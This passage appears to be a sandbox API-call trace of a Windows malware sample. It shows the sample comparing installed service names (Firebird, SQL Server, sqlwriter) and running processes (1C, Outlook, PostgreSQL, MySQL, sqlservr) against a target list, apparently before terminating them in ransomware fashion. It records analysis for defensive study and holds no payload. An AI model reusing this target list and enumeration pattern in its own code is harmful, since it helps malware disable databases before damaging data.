lpString2="Dnscache") returned 1 [0266.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0266.402] lstrlenW (lpString="DPS") returned 3 [0266.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0266.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0266.403] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0266.403] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0266.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0266.403] lstrlenW (lpString="eventlog") returned 8 [0266.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0266.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0266.403] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0266.403] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0266.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0266.403] lstrlenW (lpString="EventSystem") returned 11 [0266.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0266.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0266.403] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0266.403] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0266.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0266.403] lstrlenW (lpString="gpsvc") returned 5 [0266.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0266.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0266.403] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0266.403] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0266.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0266.403] lstrlenW (lpString="iphlpsvc") returned 8 [0266.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0266.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0266.403] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0266.403] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0266.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0266.403] lstrlenW (lpString="LanmanServer") returned 12 [0266.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0266.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0266.403] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0266.403] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0266.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0266.404] lstrlenW (lpString="LanmanWorkstation") returned 17 [0266.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0266.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0266.404] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0266.404] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0266.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0266.404] lstrlenW (lpString="lmhosts") returned 7 [0266.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0266.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0266.404] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0266.404] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0266.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0266.404] lstrlenW (lpString="MMCSS") returned 5 [0266.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0266.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0266.404] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0266.404] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0266.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0266.404] lstrlenW (lpString="MpsSvc") returned 6 [0266.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0266.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0266.404] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0266.404] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0266.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0266.404] lstrlenW (lpString="Netman") returned 6 [0266.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0266.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0266.404] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0266.404] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0266.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0266.404] lstrlenW (lpString="netprofm") returned 8 [0266.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0266.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0266.404] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0266.405] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0266.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0266.405] lstrlenW (lpString="NlaSvc") returned 6 [0266.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0266.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0266.405] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0266.405] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0266.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0266.405] lstrlenW (lpString="nsi") returned 3 [0266.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0266.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0266.405] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0266.405] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0266.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0266.405] lstrlenW (lpString="PcaSvc") returned 6 [0266.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0266.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0266.405] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0266.405] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0266.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0266.405] lstrlenW (lpString="PlugPlay") returned 8 [0266.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0266.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0266.405] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0266.405] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0266.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0266.405] lstrlenW (lpString="Power") returned 5 [0266.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0266.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0266.405] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0266.405] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0266.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0266.405] lstrlenW (lpString="ProfSvc") returned 7 [0266.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0266.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0266.406] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0266.406] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0266.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0266.406] lstrlenW (lpString="RpcEptMapper") returned 12 [0266.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0266.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0266.406] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0266.406] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0266.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0266.406] lstrlenW (lpString="RpcSs") returned 5 [0266.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0266.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0266.406] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0266.406] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0266.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0266.406] lstrlenW (lpString="SamSs") returned 5 [0266.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0266.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0266.406] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0266.406] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0266.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0266.406] lstrlenW (lpString="Schedule") returned 8 [0266.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0266.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0266.406] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0266.406] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0266.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0266.406] lstrlenW (lpString="SENS") returned 4 [0266.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0266.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0266.406] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0266.406] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0266.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0266.406] lstrlenW (lpString="ShellHWDetection") returned 16 [0266.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0266.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0266.407] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0266.407] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0266.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0266.407] lstrlenW (lpString="Spooler") returned 7 [0266.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0266.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0266.407] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0266.407] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0266.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0266.407] lstrlenW (lpString="SysMain") returned 7 [0266.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0266.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0266.407] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0266.407] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0266.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0266.407] lstrlenW (lpString="Themes") returned 6 [0266.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0266.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0266.407] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0266.407] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0266.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0266.407] lstrlenW (lpString="TrkWks") returned 6 [0266.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0266.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0266.407] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0266.407] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0266.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0266.407] lstrlenW (lpString="UxSms") returned 5 [0266.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0266.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0266.407] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0266.407] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0266.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0266.408] lstrlenW (lpString="WdiServiceHost") returned 14 [0266.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0266.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0266.408] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0266.408] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0266.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0266.408] lstrlenW (lpString="WdiSystemHost") returned 13 [0266.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0266.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0266.408] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0266.408] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0266.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0266.408] lstrlenW (lpString="Winmgmt") returned 7 [0266.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0266.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0266.408] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0266.408] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0266.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0266.408] lstrlenW (lpString="WPDBusEnum") returned 10 [0266.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0266.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0266.408] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0266.408] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0266.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0266.408] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x45a9150 | out: hHeap=0x540000) returned 1 [0266.408] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x320 [0266.409] Process32FirstW (in: hSnapshot=0x320, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0266.409] Process32NextW (in: hSnapshot=0x320, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0266.410] lstrlenW (lpString="System") returned 6 [0266.410] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0266.410] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0266.410] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0266.410] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0266.410] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0266.410] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0266.410] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0266.410] Process32NextW (in: hSnapshot=0x320, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0266.410] lstrlenW (lpString="smss.exe") returned 8 [0266.410] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0266.410] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0266.410] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0266.410] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0266.410] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0266.410] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0266.410] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0266.410] Process32NextW (in: hSnapshot=0x320, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0266.411] lstrlenW (lpString="csrss.exe") returned 9 [0266.411] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0266.411] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0266.411] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0266.411] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0266.411] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0266.411] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0266.411] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0266.411] Process32NextW (in: hSnapshot=0x320, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0266.411] lstrlenW (lpString="wininit.exe") returned 11 [0266.411] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0266.411] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0266.411] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0266.411] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0266.411] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0266.411] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0266.411] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0266.411] Process32NextW (in: hSnapshot=0x320, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0266.411] lstrlenW (lpString="csrss.exe") returned 9 [0266.411] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0266.411] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0266.412] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0266.412] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0266.412] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0266.412] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0266.412] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0266.412] Process32NextW (in: hSnapshot=0x320, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0266.412] lstrlenW (lpString="winlogon.exe") returned 12 [0266.412] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0266.412] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0266.412] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0266.412] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0266.412] Process32NextW (in: hSnapshot=0x320, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0266.412] lstrlenW (lpString="services.exe") returned 12 [0266.412] Process32NextW (in: hSnapshot=0x320, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0266.413] lstrlenW (lpString="lsass.exe") returned 9 [0266.413] Process32NextW (in: hSnapshot=0x320, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0266.413] lstrlenW (lpString="lsm.exe") returned 7 [0266.413] Process32NextW (in: hSnapshot=0x320, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.413] lstrlenW (lpString="svchost.exe") returned 11 [0266.413] Process32NextW (in: hSnapshot=0x320, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.413] lstrlenW (lpString="svchost.exe") returned 11 [0266.413] Process32NextW (in: hSnapshot=0x320, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.414] lstrlenW (lpString="svchost.exe") returned 11 [0266.414] Process32NextW (in: hSnapshot=0x320, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.414] lstrlenW (lpString="svchost.exe") returned 11 [0266.414] Process32NextW (in: hSnapshot=0x320, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.414] lstrlenW (lpString="svchost.exe") returned 11 [0266.414] Process32NextW (in: hSnapshot=0x320, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0266.414] lstrlenW (lpString="audiodg.exe") returned 11 [0266.414] Process32NextW (in: hSnapshot=0x320, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.415] lstrlenW (lpString="svchost.exe") returned 11 [0266.415] Process32NextW (in: hSnapshot=0x320, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.415] lstrlenW (lpString="svchost.exe") returned 11 [0266.415] Process32NextW (in: hSnapshot=0x320, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0266.415] lstrlenW (lpString="userinit.exe") returned 12 [0266.415] Process32NextW (in: hSnapshot=0x320, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0266.415] lstrlenW (lpString="dwm.exe") returned 7 [0266.415] Process32NextW (in: hSnapshot=0x320, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0266.416] lstrlenW (lpString="explorer.exe") returned 12 [0266.416] Process32NextW (in: hSnapshot=0x320, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, 